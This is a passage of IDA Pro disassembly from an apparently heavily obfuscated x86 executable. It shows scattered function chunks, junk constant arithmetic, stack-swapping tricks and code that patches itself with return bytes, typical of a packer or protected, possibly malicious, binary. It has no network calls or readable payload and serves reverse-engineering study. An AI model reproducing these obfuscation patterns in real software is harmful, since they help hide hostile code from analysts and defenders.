; END OF FUNCTION CHUNK	FOR sub_45944F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D022

loc_447C2F:				; CODE XREF: sub_44D022:loc_43D0F0j
		ror	ecx, 1Eh
; END OF FUNCTION CHUNK	FOR sub_44D022

; =============== S U B	R O U T	I N E =======================================



sub_447C32	proc near		; CODE XREF: sub_44B2EA-3483p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043906F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043A64C SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043BEA5 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0043E8EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00448030 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00448573 SIZE 00000011 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	9D4F627Ah
		pop	eax
		and	eax, 1E0D8B2Eh
		jmp	loc_448573
sub_447C32	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_447C47:				; CODE XREF: dviuq5id:00441E74j
		test	eax, 667281DBh
		jmp	loc_43BB2F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E1C0

loc_447C52:				; CODE XREF: sub_44E1C0:loc_446739j
					; DATA XREF: dviuq5id:loc_451CC9o
		xor	eax, ecx
		pop	ecx
; END OF FUNCTION CHUNK	FOR sub_44E1C0
; START	OF FUNCTION CHUNK FOR sub_451EEC

loc_447C55:				; CODE XREF: sub_451EEC:loc_43C96Fj
		push	edi
		pushf
		push	7773F3FCh
		jmp	loc_459654
; END OF FUNCTION CHUNK	FOR sub_451EEC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CF31

loc_447C62:				; CODE XREF: sub_43CF31+B74Dj
		jmp	nullsub_369
; END OF FUNCTION CHUNK	FOR sub_43CF31
; ---------------------------------------------------------------------------

loc_447C67:				; CODE XREF: dviuq5id:00452705j
		push	ebx
		push	2CE0B47Dh
		pop	ebx
		rol	ebx, 15h
		test	ebx, 1000h
		jmp	loc_459649
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440C61

loc_447C7C:				; CODE XREF: sub_440C61+3EBFj
		pop	edx
		add	ecx, 0BD96989Dh
		xor	ecx, 80D5C5D3h
		and	ecx, ds:4000F1h
		sub	ecx, 0D7BABF30h
		call	sub_44074B
		jmp	loc_43AA6C
; END OF FUNCTION CHUNK	FOR sub_440C61
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_447C9F:				; CODE XREF: sub_440898+A503j
		jmp	loc_445849
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B53

loc_447CA4:				; CODE XREF: sub_446B53-94F0j
		jmp	loc_45377A
; END OF FUNCTION CHUNK	FOR sub_446B53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_447CA9:				; CODE XREF: sub_43D83D+10j
		add	eax, 8A6637ADh
		popf
		xchg	eax, [esp-8+arg_4]
		push	esi
		pushf
		push	12E5B640h
		jmp	loc_44F61A
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_447CBF:				; CODE XREF: sub_44084F+1034Dj
		add	edx, ebx
		jb	loc_4427B1
		jle	loc_447E07
		sbb	ecx, edx
		jmp	loc_4399F2
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453BE2

loc_447CD4:				; CODE XREF: sub_453BE2-8287j
		jge	loc_43BC1E
		mov	esi, [eax]
		push	eax
		jmp	loc_43BC1B
; END OF FUNCTION CHUNK	FOR sub_453BE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A2CC

loc_447CE2:				; CODE XREF: sub_44A2CC:loc_4546FFj
		cdq

loc_447CE3:				; CODE XREF: dviuq5id:0044A7B4j
		pushf
		cmp	ecx, ebp
		jmp	loc_44013C
; END OF FUNCTION CHUNK	FOR sub_44A2CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_447CEB:				; CODE XREF: sub_446682:loc_43B91Bj
					; sub_44646F:loc_44E8F2j
		cmp	al, 0A4h
		jz	loc_43B81E
		jmp	loc_43A5C4
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45148F

loc_447CF8:				; CODE XREF: sub_45148F+8j
		mov	ebp, 0B319AC19h
; END OF FUNCTION CHUNK	FOR sub_45148F
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_447CFD:				; CODE XREF: sub_4525D0:loc_442086j
		lea	eax, [ebp-26Fh]
		cmp	dword ptr [eax], 47424454h
		jz	loc_452033
		jmp	loc_44E37E
; END OF FUNCTION CHUNK	FOR sub_4525D0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449B5B

loc_447D14:				; CODE XREF: sub_449B5B+F715j
		call	sub_43CCD1
		jmp	loc_455386
; END OF FUNCTION CHUNK	FOR sub_449B5B
; ---------------------------------------------------------------------------
		mov	dword ptr [ebp-8], 1
		jmp	loc_443E02
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451D31

loc_447D2A:				; CODE XREF: dviuq5id:004477F1j
					; dviuq5id:00448CA7j ...
		mov	eax, [ebp-10h]
		push	ebp
		add	ebp, eax
		jmp	loc_44F45D
; END OF FUNCTION CHUNK	FOR sub_451D31
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_447D35:				; CODE XREF: sub_44B624:loc_455212j
		xchg	esi, [esp-4+arg_0]
		jmp	sub_449EB7
; END OF FUNCTION CHUNK	FOR sub_44B624
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C2F6

loc_447D3D:				; CODE XREF: sub_44C2F6-63C6j
		pop	edi
		rol	edi, 1
		and	edi, 0E91ECCD8h
		sub	edi, 0A6257792h
		xor	edi, 9593A594h
		xor	eax, edi
		pop	edi
		jmp	loc_439E81
; END OF FUNCTION CHUNK	FOR sub_44C2F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_453548

loc_447D5A:				; CODE XREF: sub_453548-131AAj
		mov	byte ptr [eax],	0C3h
		jmp	loc_44609C
; END OF FUNCTION CHUNK	FOR sub_453548
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_447D62:				; CODE XREF: sub_447A8A:loc_4448F6j
					; sub_453548-D4ABj
		mov	eax, [esp+0]
		call	sub_44F7C9

loc_447D6A:				; CODE XREF: dviuq5id:00448CADj
		jmp	loc_44E470
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_447D6F:				; CODE XREF: sub_43C4B5+C77Cj
		jmp	loc_4575C8
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_454094

loc_447D74:				; CODE XREF: sub_454094:loc_45662Cj
		test	ebx, ebp

loc_447D76:				; CODE XREF: dviuq5id:loc_455176j
		jmp	loc_451074
; END OF FUNCTION CHUNK	FOR sub_454094
; ---------------------------------------------------------------------------

locret_447D7B:				; CODE XREF: dviuq5id:004445B9j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FF18

loc_447D7C:				; CODE XREF: sub_43FF18-3F8Cj
		jmp	loc_44BA04
; END OF FUNCTION CHUNK	FOR sub_43FF18
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_447D81:				; CODE XREF: sub_448154:loc_442F6Bj
		mov	ecx, esi
		pop	esi
		or	ecx, 43D1F829h
		add	ecx, 373DCD4h
		or	ecx, 6CCD745Eh
		add	ecx, 9074E82Dh
		mov	ecx, [ecx]
		jmp	loc_4502DD
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_447DA3:				; CODE XREF: sub_440898:loc_44D502j
		popf
		push	0D16BAC03h
		push	eax

loc_447DAA:				; CODE XREF: dviuq5id:00445621j
		jmp	loc_449F1F
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------

loc_447DAF:				; CODE XREF: dviuq5id:0044D1AEj
		rol	edx, 1Ch
		xor	edx, 628EB84Fh
		push	ebx
		pushf
		jmp	loc_44822F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E763

loc_447DBF:				; CODE XREF: sub_44E763-C3E3j
		xor	edi, 0B3A383B0h
; END OF FUNCTION CHUNK	FOR sub_44E763
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_447DC5:				; CODE XREF: sub_43FA59+23Bj
					; sub_43FA59:loc_4415BFj ...
		jnb	loc_458777
		cmp	dword ptr [ebp-4], 2
		jnz	loc_4569CE
		jmp	loc_43B31F
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_45383B

loc_447DDA:				; CODE XREF: sub_45383B+9j
		rol	ebx, 3
		xor	ebx, 0F5544AC5h
		test	eax, ebx
		xchg	eax, [esp+0]
		mov	ebx, eax
		pop	eax
		jz	loc_45123A
		jmp	loc_45A4DA
; END OF FUNCTION CHUNK	FOR sub_45383B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44DC3D

loc_447DF6:				; CODE XREF: sub_44DC3D:loc_4421CEj
		add	eax, 0D9A1E5A9h
		popf
		xchg	eax, [esp+4+var_4]
		jmp	sub_44A58C
; END OF FUNCTION CHUNK	FOR sub_44DC3D
; ---------------------------------------------------------------------------
		cmp	ecx, ebp
; START	OF FUNCTION CHUNK FOR sub_44084F

loc_447E07:				; CODE XREF: sub_44084F+7478j
		jmp	loc_44CD69
; END OF FUNCTION CHUNK	FOR sub_44084F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444F0F

loc_447E0C:				; CODE XREF: sub_444F0F:loc_4536E2j
		and	edx, 0CCB37EEAh
		push	offset sub_439A5E
		jmp	nullsub_326
; END OF FUNCTION CHUNK	FOR sub_444F0F
; ---------------------------------------------------------------------------

loc_447E1C:				; CODE XREF: dviuq5id:0044B2C6j
		jno	loc_4421EB

; =============== S U B	R O U T	I N E =======================================



sub_447E22	proc near		; CODE XREF: dviuq5id:0044966Ep

; FUNCTION CHUNK AT 00443EFA SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00456631 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		call	sub_44CA9A
		jmp	loc_456631
sub_447E22	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_447E31:				; CODE XREF: sub_448FC7:loc_4555E1j
		jnz	loc_44E8D6
		jmp	loc_453EA9
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44EAC4

loc_447E3C:				; CODE XREF: sub_447698:loc_43F5F3j
					; sub_44EAC4-BD3Cj
		push	693EBC61h
		xchg	edi, [esp+0]
		mov	eax, edi
		pop	edi
		sub	eax, 7A2482A3h
		or	eax, 3C5529B0h
		rol	eax, 0Bh
		add	eax, 6320816h
		jmp	loc_43F070
; END OF FUNCTION CHUNK	FOR sub_44EAC4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B2EA

loc_447E61:				; CODE XREF: sub_44B2EA:loc_44481Cj
		push	edx
		call	sub_43FEBB
		call	sub_447C32

loc_447E6C:				; CODE XREF: dviuq5id:0043E4EDj
		add	esi, 0B877505Eh
		sub	esi, 8EA13F3Bh

loc_447E78:				; CODE XREF: dviuq5id:00444C3Fj
		add	esi, 0D66D00EEh
		popf
		xchg	esi, [esp+0]
		jmp	loc_450C7E
; END OF FUNCTION CHUNK	FOR sub_44B2EA

; =============== S U B	R O U T	I N E =======================================



sub_447E87	proc near		; DATA XREF: dviuq5id:004550BFo
		lea	eax, sub_455518
		mov	byte ptr [eax],	0C3h
		jmp	sub_455518
sub_447E87	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455518

loc_447E95:				; CODE XREF: sub_455518j
		call	sub_4497C3

loc_447E9A:				; CODE XREF: dviuq5id:0043E726j
					; dviuq5id:004403A9j
		jmp	loc_443DB6
; END OF FUNCTION CHUNK	FOR sub_455518
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_367. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D181

loc_447EA0:				; CODE XREF: sub_43D181+17C62j
		jmp	loc_44BB1E
; END OF FUNCTION CHUNK	FOR sub_43D181
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509EF

loc_447EA5:				; CODE XREF: sub_4509EF+3j
		jmp	sub_44E1C0
; END OF FUNCTION CHUNK	FOR sub_4509EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CB39

loc_447EAA:				; CODE XREF: sub_44CB39-A1C0j
		jmp	loc_43FD31
; END OF FUNCTION CHUNK	FOR sub_44CB39
; ---------------------------------------------------------------------------
		xchg	ebp, [esp]
		mov	edx, ebp
		pop	ebp
		pop	eax
		mov	ds:dword_45235C, edx
; START	OF FUNCTION CHUNK FOR sub_43EB11

loc_447EBC:				; CODE XREF: sub_456B31:loc_43C3F1j
					; sub_43EB11+233j
		xchg	eax, edx
		jmp	loc_446DED
; END OF FUNCTION CHUNK	FOR sub_43EB11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4440E9

loc_447EC2:				; CODE XREF: sub_4440E9:loc_440F35j
		jz	loc_450127
		jmp	loc_44DEF9
; END OF FUNCTION CHUNK	FOR sub_4440E9

; =============== S U B	R O U T	I N E =======================================



sub_447ECD	proc near		; CODE XREF: sub_44446E+2p
					; dviuq5id:0044D30Cj

; FUNCTION CHUNK AT 0043D600 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044319D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004433D2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004444FF SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00446CF0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00446DCD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A088 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044B903 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00452356 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00453B85 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00456971 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 0045728F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457D30 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A4C0 SIZE 00000009 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	esi

loc_447ED2:				; CODE XREF: dviuq5id:loc_440FCEj
		mov	esi, ecx
		xchg	esi, [esp+0]
		mov	esp, ebp
		xchg	ebx, [esp+0]
		mov	ebp, ebx
		jmp	loc_4433D2
sub_447ECD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_447EE3	proc near		; CODE XREF: dviuq5id:00442C8Cj
					; dviuq5id:loc_443576p

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00440924 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044611E SIZE 0000001B BYTES
; FUNCTION CHUNK AT 00447ABC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449B11 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004543A1 SIZE 00000005 BYTES

		xchg	esi, [esp-4+arg_0]
		pop	esi
		push	0D9B722A3h
		pop	eax
		add	eax, 0D48CDD38h
		sub	eax, 0C77A02AFh
		test	eax, 8000h
		jmp	loc_447ABC
sub_447EE3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		cmp	edx, 22863935h
		jmp	loc_43B806
; ---------------------------------------------------------------------------
		jmp	ds:dword_41D0E0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_469. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		test	[esi+5AFFFF38h], ah
		mov	eax, [esp]
; START	OF FUNCTION CHUNK FOR sub_459490

loc_447F1F:				; CODE XREF: sub_459490-BFBBj
		push	edx
		push	ebx
		jmp	loc_44FB57
; END OF FUNCTION CHUNK	FOR sub_459490
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451F61

loc_447F26:				; CODE XREF: sub_451F61-20ABj
		rol	edi, 1Ah
		or	edi, 759EEC0Ah
		add	edi, 8441ED1h
		push	offset loc_454F55
		jmp	nullsub_167
; END OF FUNCTION CHUNK	FOR sub_451F61
; ---------------------------------------------------------------------------

loc_447F3F:				; CODE XREF: dviuq5id:0043CE34j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44460F

loc_447F40:				; CODE XREF: sub_44460F-302j
		pushf
		jmp	loc_43E917
; END OF FUNCTION CHUNK	FOR sub_44460F
; ---------------------------------------------------------------------------
		push	eax
		ror	eax, 0Fh
		mov	ds:dword_4442A8, eax
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_447F51:				; CODE XREF: sub_44B99E+Fj
		jmp	loc_458A31
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C4B5

loc_447F56:				; CODE XREF: sub_43C4B5:loc_445B7Cj
		jmp	nullsub_109
; END OF FUNCTION CHUNK	FOR sub_43C4B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_447F5B:				; CODE XREF: sub_43CC42+F38Dj
		rol	eax, 0Fh
		jmp	loc_44EF11
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43938B

loc_447F63:				; CODE XREF: sub_43938B:loc_455910j
		push	252F007h
		pop	esi
		add	esi, 65819840h
		and	esi, 5F1F3B8Ch
		test	esi, 40000h
		jmp	loc_444AA1
; END OF FUNCTION CHUNK	FOR sub_43938B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441DDA

loc_447F80:				; CODE XREF: sub_441DDA-8BE6j
		xor	eax, 9BEF92CBh
		add	eax, ebp
		add	eax, 85748B4h
		mov	eax, [eax]
		call	sub_4582AD
; END OF FUNCTION CHUNK	FOR sub_441DDA
; START	OF FUNCTION CHUNK FOR sub_44B624

loc_447F95:				; CODE XREF: sub_44B624-A422j
		jmp	loc_442885
; END OF FUNCTION CHUNK	FOR sub_44B624
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_141. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448F69

loc_447F9B:				; CODE XREF: sub_448F69+11j
		jmp	loc_43D92D
; END OF FUNCTION CHUNK	FOR sub_448F69
; ---------------------------------------------------------------------------

loc_447FA0:				; CODE XREF: dviuq5id:00445FA3j
		jmp	locret_453CB3
; ---------------------------------------------------------------------------

loc_447FA5:				; DATA XREF: sub_441B17:loc_44FBB9o
		mov	eax, [esp]
		push	eax
		mov	eax, edx
		xchg	eax, [esp]
		jmp	loc_452BD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_447FB3:				; CODE XREF: sub_439013+1A2E1j
		jnz	loc_4557C5
		jmp	loc_45A20A
; END OF FUNCTION CHUNK	FOR sub_439013
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455658

loc_447FBE:				; CODE XREF: sub_455658:loc_44E90Cj
		pop	esi
		call	sub_44EAC4
; END OF FUNCTION CHUNK	FOR sub_455658
; START	OF FUNCTION CHUNK FOR sub_43D83D

loc_447FC4:				; CODE XREF: sub_43D83D:loc_44F61Aj
		pop	esi
		xor	esi, 0A1B902F3h
		add	esi, 4CE7FEC8h
		popf
		xchg	esi, [esp-4+arg_0]
		jmp	loc_444A8E
; END OF FUNCTION CHUNK	FOR sub_43D83D
; ---------------------------------------------------------------------------
		mov	eax, 0F34E90C0h
		call	sub_453642
		mov	ds:off_41D13C, eax
		lea	eax, sub_43C710
		mov	byte ptr [eax],	0C3h
		jmp	loc_4457D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C710

loc_447FF8:				; CODE XREF: sub_43C710+1j
		mov	eax, [esp+0]
		jmp	loc_4552D5
; END OF FUNCTION CHUNK	FOR sub_43C710
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_448000:				; CODE XREF: sub_44A15A:loc_43BBD3j
		mov	edx, 0BD72AE43h
		jge	loc_455103
		shl	edi, 4
		jmp	loc_4428B1
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_448013:				; CODE XREF: sub_448FC7:loc_439034j
		jl	loc_45A5FE
; END OF FUNCTION CHUNK	FOR sub_448FC7
; START	OF FUNCTION CHUNK FOR sub_4408ED

loc_448019:				; CODE XREF: sub_4408ED+Dj
		jmp	loc_44C068
; END OF FUNCTION CHUNK	FOR sub_4408ED
; ---------------------------------------------------------------------------

loc_44801E:				; CODE XREF: dviuq5id:loc_45847Cj
		or	edx, 0A838C56Dh
		shl	edx, 6
		pop	esi
		jmp	loc_45A5FE
; ---------------------------------------------------------------------------
		ror	ecx, 18h
; START	OF FUNCTION CHUNK FOR sub_447C32

loc_448030:				; CODE XREF: sub_447C32:loc_43906Fj
		call	sub_456C37

loc_448035:				; CODE XREF: sub_44514D-8D08j
		jmp	nullsub_55
; END OF FUNCTION CHUNK	FOR sub_447C32

; =============== S U B	R O U T	I N E =======================================



sub_44803A	proc near		; DATA XREF: sub_44B2EA+AA75o
		lea	eax, nullsub_226
		call	sub_44547C
sub_44803A	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_44AB80

loc_448045:				; CODE XREF: sub_44AB80-5A38j
		jmp	loc_4415E9
; END OF FUNCTION CHUNK	FOR sub_44AB80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_44804A:				; CODE XREF: sub_4582AD:loc_459D52j
		xor	eax, 3D12D647h
		call	sub_45169D
; END OF FUNCTION CHUNK	FOR sub_4582AD
; START	OF FUNCTION CHUNK FOR sub_44A15A

loc_448055:				; CODE XREF: sub_44A15A+D4B2j
		jmp	loc_44C347
; END OF FUNCTION CHUNK	FOR sub_44A15A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4492F0

loc_44805A:				; CODE XREF: sub_4492F0+CEF4j
		jmp	loc_457299
; END OF FUNCTION CHUNK	FOR sub_4492F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_452470

loc_44805F:				; CODE XREF: sub_452470-65FCj
		jmp	loc_4547FF
; END OF FUNCTION CHUNK	FOR sub_452470

; =============== S U B	R O U T	I N E =======================================



sub_448064	proc near		; CODE XREF: dviuq5id:0043C8A8j
					; sub_44F9EE:loc_446293p

; FUNCTION CHUNK AT 00451703 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		add	eax, ebp
		push	offset loc_4506BD
		jmp	loc_451703
sub_448064	endp

; ---------------------------------------------------------------------------

loc_448074:				; CODE XREF: dviuq5id:00450EF3j
		sub	ecx, edx
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_448076:				; CODE XREF: sub_44C4E2:loc_450ED7j
		sub	esi, 0C2BF0887h
		add	esi, 0B8A074B5h
		mov	[esi], eax
		pop	esi
		jmp	loc_451364
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_44808A:				; CODE XREF: sub_439E87:loc_44D366j
		jb	loc_43CA62
		mov	ebp, 0DFBC752Eh
		jl	loc_43B73B
		xchg	ebp, edx
		jmp	loc_457819
; END OF FUNCTION CHUNK	FOR sub_439E87
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448FC7

loc_4480A3:				; CODE XREF: sub_448FC7:loc_453001j
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_4588E5
		jmp	loc_440BCD
; END OF FUNCTION CHUNK	FOR sub_448FC7
; ---------------------------------------------------------------------------

loc_4480B4:				; CODE XREF: dviuq5id:loc_453EC7j
		and	edx, 97F2AC9Eh
		add	edx, 0EED12550h
		mov	[edx], eax
		pop	edx
		jmp	loc_458B52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B168

loc_4480C8:				; CODE XREF: sub_43B168:loc_444659j
		xchg	ebp, [esp+0]
		mov	ebx, ebp

loc_4480CD:				; CODE XREF: dviuq5id:loc_4403B4j
		pop	ebp
		rol	ebx, 16h
		jmp	loc_4533F9
; END OF FUNCTION CHUNK	FOR sub_43B168
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C2DA

loc_4480D6:				; CODE XREF: sub_43C2DA+F231j
		jnz	loc_4498CF

loc_4480DC:				; CODE XREF: sub_45844D:loc_45A2D5j
		jmp	loc_4576F2
; END OF FUNCTION CHUNK	FOR sub_43C2DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_442BFE

loc_4480E1:				; CODE XREF: sub_442BFE+12CDFj
		jmp	loc_4441F6
; END OF FUNCTION CHUNK	FOR sub_442BFE
; ---------------------------------------------------------------------------
		jge	loc_43A163
		jmp	loc_4498C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EFA5

loc_4480F1:				; CODE XREF: sub_43EFA5:loc_44A6B8j
		push	offset sub_450637
		jmp	nullsub_228
; END OF FUNCTION CHUNK	FOR sub_43EFA5
; ---------------------------------------------------------------------------

loc_4480FB:				; CODE XREF: dviuq5id:0043EA53j
		jnz	loc_4495E3
		jmp	loc_43F08C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44FD8E

loc_448106:				; CODE XREF: sub_44FD8E:loc_451D14j
		and	ebx, 21318233h
		sub	ebx, 82369BFCh
		add	ebx, 0CC675E12h
		add	ebx, ebp
		jmp	loc_442B0A
; END OF FUNCTION CHUNK	FOR sub_44FD8E
; ---------------------------------------------------------------------------

loc_44811F:				; CODE XREF: dviuq5id:00441FF3j
					; DATA XREF: dviuq5id:loc_44E1C9o
		mov	edx, [ebp-4]

loc_448122:				; CODE XREF: dviuq5id:0044906Dj
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_444228
		jmp	loc_44A576
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B93

loc_448131:				; CODE XREF: sub_446B93:loc_4483F8j
		and	esi, 982B627Dh
		add	esi, 2373C5h

loc_44813D:				; CODE XREF: sub_43CB05:loc_442E0Ej
		xchg	esi, [esp+20h+var_20]
		jmp	loc_44401F
; END OF FUNCTION CHUNK	FOR sub_446B93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446682

loc_448145:				; CODE XREF: sub_446682:loc_454999j
		mov	esp, ebp
		pop	ebp
		push	ds:dword_446E04
		retn
; END OF FUNCTION CHUNK	FOR sub_446682
; ---------------------------------------------------------------------------

loc_44814F:				; CODE XREF: dviuq5id:00439435j
		jmp	sub_44A58C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_448154	proc near		; CODE XREF: sub_450159+2p
					; sub_4486F9+FC80j

var_14		= dword	ptr -14h

; FUNCTION CHUNK AT 004390AA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439139 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A647 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A6F9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043AD81 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043AE81 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043B440 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0043B4FF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043D197 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0043EE18 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440031 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00442F6B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446BFB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447D81 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0044B696 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044D384 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044D7B3 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044DA0A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044E120 SIZE 00000023 BYTES
